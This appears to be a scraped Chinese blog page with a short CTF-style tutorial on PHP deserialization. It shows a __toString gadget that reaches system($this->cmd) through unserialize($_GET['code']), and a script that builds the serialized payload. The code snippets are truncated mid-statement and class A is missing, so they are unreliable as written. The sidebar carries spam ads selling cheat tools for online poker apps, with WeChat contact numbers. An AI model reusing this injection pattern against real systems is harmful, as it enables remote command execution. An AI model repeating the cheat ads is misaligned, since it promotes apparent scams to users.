【web】-反序列化-to_string
创始人
2024-12-28 06:04:56
0次 
s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return 1;     } } unserialize($_GET['code']);

__toString()当对象被当着字符串执行的时候，自动执行

起点："hello".$this->s;

终点：system($this->cmd);

跳板："hello".$this->s;

s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return "1";     } }   $a = new A(); $b = new B(); $b->cmd='dir'; $a->s=$b;  echo serialize($a); ?>   O:1:"A":1:{s:1:"s";O:1:"B":1:{s:3:"cmd";s:3:"dir";}}

执行结果如下：

上一篇：EasyAnimate-v3版本支持I2V及超长视频生成

下一篇：STM32全栈嵌入式人脸识别考勤系统：融合OpenCV、Qt和SQLite的解决方案

相关内容

热门资讯

今日百科微扑克wpk原来确实是... 今日百科微扑克wpk原来确实是有挂，太奸诈了原来真的有挂，详细教程（有挂分享）;1、点击下载安装，微...
复盘辅助挂Wepoke教学软件... 复盘辅助挂Wepoke教学软件透明挂!太嚣张了其实确实是有挂(有挂神器)(哔哩哔哩)；致您一封信；亲...
技巧知识分享WEPOKE软件透... 技巧知识分享WEPOKE软件透明挂!太夸张了其实有挂的(竟然有挂)(哔哩哔哩)是一款可以让一直输的玩...
传递经验微扑克机器人原来确实是... 您好，微扑克这款游戏可以开挂的，确实是有挂的，需要了解加微【757446909】很多玩家在这款游戏中...
盘点一款!(WPK专用)辅助透... 您好，WPK这款游戏可以开挂的，确实是有挂的，需要了解加微【841106723】很多玩家在这款游戏中...
我来向大家传授微扑克脚本原来真... 您好，微扑克这款游戏可以开挂的，确实是有挂的，需要了解加微【136704302】很多玩家在这款游戏中...
一分钟揭秘微扑克网页版原来是有... 一分钟揭秘微扑克网页版原来是有挂，太坏了原来是有挂，详细教程（竟然有挂）；最新版2024是一款经典耐...
记者发布Wepoke辅助挂软件... 【福星临门，好运相随】；记者发布Wepoke辅助挂软件透明挂!太离谱了原来有挂(有挂教学)(哔哩哔哩...
Python——操作MySQL... 😊Python——操作MySQL数据库🚀前言🔍数据库...
pytorch超详细安装教程，... 本文介绍基于Anaconda环境以及PyCharm软件结合，安装PyTorch深度学习...